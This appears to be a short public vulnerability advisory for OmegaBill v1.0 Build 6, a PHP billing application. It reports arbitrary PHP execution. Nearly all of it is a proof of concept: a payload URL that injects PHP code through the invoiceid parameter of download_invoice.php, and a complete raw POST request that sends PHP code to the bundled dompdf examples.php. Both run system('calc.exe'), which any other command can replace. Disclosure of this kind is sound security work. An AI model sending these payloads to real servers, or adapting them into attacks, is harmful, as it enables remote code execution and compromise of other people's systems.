OmegaBill 1.0 Build 6 Arbitrary PHP Execution

`------------------------------------------------------------------------  
Software................OmegaBill v1.0 Build 6  
Vulnerability...........Arbitrary PHP Execution  
Download................http://sourceforge.net/projects/omegabill/  
Release Date............2/11/2011  
Tested On...............Windows Vista + XAMPP  
------------------------------------------------------------------------  
Author..................AutoSec Tools  
Site....................http://www.autosectools.com/  
------------------------------------------------------------------------  
  
--PoC--  
  
Vulnerability 1:  
  
http://localhost/OmegaBill_v1.0_Build6/clients/download_invoice.php?invoiceid=<?php system("calc.exe"); ?>  
  
  
Vulnerability 2:  
  
POST http://localhost/OmegaBill_v1.0_Build6/plugins/dompdf/www/examples.php HTTP/1.1  
Host: localhost  
Connection: keep-alive  
User-Agent: x  
Content-Length: 93  
Cache-Control: max-age=0  
Origin: null  
Content-Type: multipart/form-data; boundary=----x  
Accept: text/html  
Accept-Language: en-US,en;q=0.8  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3  
  
------x  
Content-Disposition: form-data; name="html"  
  
<?php system("calc.exe"); ?>  
------x--  
  
`